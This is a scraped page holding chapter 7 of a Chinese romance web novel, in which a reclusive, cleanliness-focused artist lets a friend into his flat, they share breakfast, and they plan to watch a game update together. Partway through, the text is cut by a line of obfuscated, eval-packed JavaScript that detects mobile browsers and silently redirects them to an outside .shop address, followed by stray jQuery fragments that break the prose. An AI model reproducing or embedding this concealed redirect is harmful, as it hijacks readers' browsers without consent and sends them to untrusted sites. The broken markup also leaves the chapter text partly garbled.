文趣网 > 都市小说 > 掉马后和对家HE了 > 7. 第 7 章
    “你……”

    许灯信开门看着外头的人,早晨气息很重,对方头发慵懒散乱,全靠一张妖气的脸撑着,竟平添几分美感。

    许灯信没被这张脸耽误,而是问:“你怎么起这么早。”

    以前季南楼都是中午才醒的。

    “和楼上楼下邻居打招呼的时候,知道了有家包子铺的花卷很好吃,不过他家只有早上卖,”季南楼晃了晃手里提着的东西,说:“可以进来吗?进你家需要什么流程。”

    “这……”

    其实没人进来过。

    也没人和他这样熟悉。

    许灯信一时无言,回头看了看自己干净整洁但唯独缺少鲜活人气的房子,说:“消个毒吧。”

    许灯信家里没有拖鞋,但是有备用的鞋套,本来是自己用的,刚好可以给季南楼。

    季南楼清洁一番,全身消毒,走进许灯信的家感叹:“还真的很干净呢。”

    许灯信点头:“嗯,平时一个人。”

    季南楼试探:“那东西放这里?”

    “不,我来吧,我拿个盘子装。”

    平时许灯信做饭,但他做的饭一定不是常人喜欢吃的。

    他不做家常菜,那样不好打扫,外卖也很少点,他会接受不了,除了速食就是面,就这样一直吃到了现在。

    但是长期这样导致了厌食,为了吃下更多东西,很小的时候许灯信就有多放醋的毛病,他下一碗面几乎全是酸味,只有自己吃得下。

    季南楼还挺好奇的,问:“每一个来你家的人都要消毒吗,那你拿快递会不会不方便。”

    许灯信一边洗盘子一边说:“没人来过,快递的话会集中在一个时间买,不会很频繁。”

    季南楼勾起嘴角:“那我是第一个了?”

    许灯信点头:“嗯。”

    许灯信朝那边看过去,季南楼已经转过身,说:“我可以到处看看吗?不碰。”

    “可以,除了卧室。”

    他们认识半年无话不谈,理论上算是熟悉了。

    可面对他,许灯信总有种陌生的感觉。

    总觉得季南楼的话有什么他揣摩不了的含义,是自己第一次交朋友,太草木皆兵了吗。

    许灯信把早餐摆好,想给季南楼拿新杯子倒水,发现家里没有别的杯子。

    是的,这种东西许灯信从不准备,连一次性的纸杯都没有,他从没考虑过家里来客人的情况。

    “不好意思,家里没有杯子了,”许灯信对阳台的季南楼道:“要不我去买。”

    “没事,我家里有,我去拿过来就好。”季南楼从阳台回来,又说:“你家方位比我家好啊,这个阳台真舒服,还能看见大海,视野真好。”

    果然。

    不管怎么样季南楼还是那么懂他。

    许灯信兴致勃勃:“对,我最喜欢在阳台写生,凉快了站在上面吹风也很舒服,我喜欢凉一点的海风,感觉很干净很舒服。”

    “小心别吹感冒就好,”季南楼笑了笑,“我去拿杯子,一会给我介绍一下这附近吧。”

    “好的。”

    早餐,在迎着海浪的高层落地窗前。

    许灯信之前一直把吃饭当成活着的任务。

    人的身体应该摄入什么营养、摄入多少……他会把控,但是他不会在意味道。

    兑点醋,就灌下去。

    这算是近期许灯信最体面的……不对,他已经和季南楼一起吃了好几顿人饭了。

    “……附近大概就这些,还是很方便的,”许灯信忽然想到自己之前在超市的晃眼,现在想来可能当时不是看错了,“我偶尔会去下面的超市买东西。”

    “嗯,东西挺全的,”季南楼说:“我看见过你,但是刚想打招呼,你就急匆匆走了。”

    “抱歉,”许灯信不好意思,生硬转移话题:“你来这里是要办事什么呢,怎么选择我家这边,这边其实离市区还是挺远的。”

    “这个,”季南楼眨眼,脸不红心不跳:“我父亲派我来考察沿海一带,想知道适不适合盖新的酒店。”

    “原来你爸爸是大老板吗?”许灯信肃然起敬:“我还以为只是高层员工。”

    “没有没有,小老板而已,这不,想着多投资一些商铺嘛。”

    季南楼撒谎像呼吸一样简单。

    安静的环境下,聊天的过程中,许灯信才有空细细端详季南楼的长相。

    很有张力的一张脸,放在游戏小说里,肯定很多人觉得他是攻吧。

    许灯信有点理解那群同好小姑娘为什么建议季南楼出cos了。

    “看什么,”季南楼察觉到他的目光,摆了个惬意撑下巴的姿势,露出附带危险的微笑,说:“花老师难道觉得我好看?”

    “是的,”许灯信说,“你的五官比例很好,骨相也好,比如你的下颚……”

    他从美学角度分析了一通季南楼的颜值。

    这倒是给季南楼整不会了。

    “我去洗碗吧。”季南楼无奈起身。

    许灯信想阻止,但是又收回了手。

    朋友帮忙洗碗是不是很正常?那自己过分阻止其实才不正常……?

    许灯信在门口看季南楼洗碗,季南楼偶尔问问他应该怎么才能洗到他满意的程度,最后盘子放进了消毒柜,季南楼擦手出来发现许灯信还在看他。

    “花儿,你平时在哪儿画画。”

    “我?啊,我画室,你要来看看吗。”

    “可以吗?”

    “应该可以吧。”

    季南楼心想本人也说“应该”两个字吗。

    其实许灯信确实不知道可不可以,但是他心里有点想让季南楼看,又有点抗拒别人闯进他的领域。

    许灯信推开画室的门,早晨里面光线很好,装备齐全,收拾的有模有样,就想游戏cg里能看见的场景。

    “不得不说,这一点我还是很佩服你的,”季南楼道:“你真的很会收拾屋子。”

    “是吗。”

    这句话对于许灯信来说是至高无上的赞扬,比夸他帅之类的,都令他开心。

    许灯信心情很好:“你家搬家还需要帮忙吗?我可以去看看,然后给你推荐清洁工具。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762138|209618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    这个领域许灯信也非常了解,市面上的所有清洁工具他都能从夯到拉排个榜单。

    “我……倒是不用了,”季南楼这次没扯什么花言巧语,“我家太乱了,你去了肯定不舒服,改天吧。”

    “好吧。”

    许灯信也想串好友的门。

    那只好下次了。

    季南楼扫了一眼他的屋子,看得出来自己确实是第一个来这里的客人了,所有的东西都是一人份,别说客人的痕迹,甚至都没什么生活痕迹。

    季南楼建议:“其实有很多同好都在南港,你要是有空也可以叫他们一起出来玩,多出去走走对你来说会不会好一点。”

    许灯信问:“你怎么会对心理疾病有了解的。”

    “我啊,我之前查过相关资料,当时构思了一个心理问题严重的主角,所以就刚好知道了一点点。”

    原来如此,毕竟南楼老师是文手,知识全面不奇怪。

    真是严谨,这个态度许灯信很欣赏。

    “之前医生有过建议,还提到过脱敏疗法……但是医生说我的情况不适合脱敏,得慢慢来,”许灯信回答:“不过我最近在努力,我会主动一点的。”

    “那就好,看来我不用我担心了,”季南楼说:“昨天的活动看你不是很自在。”

    这个……

    其实不全是因为心理问题。

    许灯信移开视线,这种时候他绝对不能和别人对视。

    昨天他差点被对家和单推包围了。

    他们难道不会不自在吗?属性这么不同……难道不会别扭?不会觉得尴尬吗?

    但许灯信没有熟到可以问这种问题的朋友,南楼是例外,许灯信最不希望南楼成为自己的——敌人。

    是的敌人。

    简直就是偷偷和地方军营的人私通。

    “过两天游戏剧情更新,我们可以一起看,怎么样?”

    ……什么敌人不敌人的。

    老房子还没着火。

    “好啊,”许灯信瞬间打起精神和期待:“可以一起讨论了。”

    单花99(大声)

    旸川也99(超级超级小小小声)

    不巧的是,许灯信更新前一天才看了官方更新日期才发现,那天刚好是自己预定要去复查的日期。

    游戏剧情其实不长……正常来说几个小时就能看完,可是他预定是早上,那样的话就赶不上更新第一时间看了,说好和南楼一起的,那岂不是要人家等自己?

    如果有两全其美的办法就好了。

    “没关系啊,我陪你去医院不就好了。”

    “?”

    游戏更新前一天,许灯信和季南楼约饭听见对方这样说。

    “真的吗,可是那样不会耽误你的计划和时间吗。”

    “计划?那是什么东西,我从来没有过,”季南楼嗤笑,说:“完全不耽误,我很随意的,什么时候都行。”

    “没有过计划吗?”许灯信瞪大眼睛问:“一天要做什么,不是提前安排好的吗?不会精确到每小时和每件事情的完成度要达到多少吗?”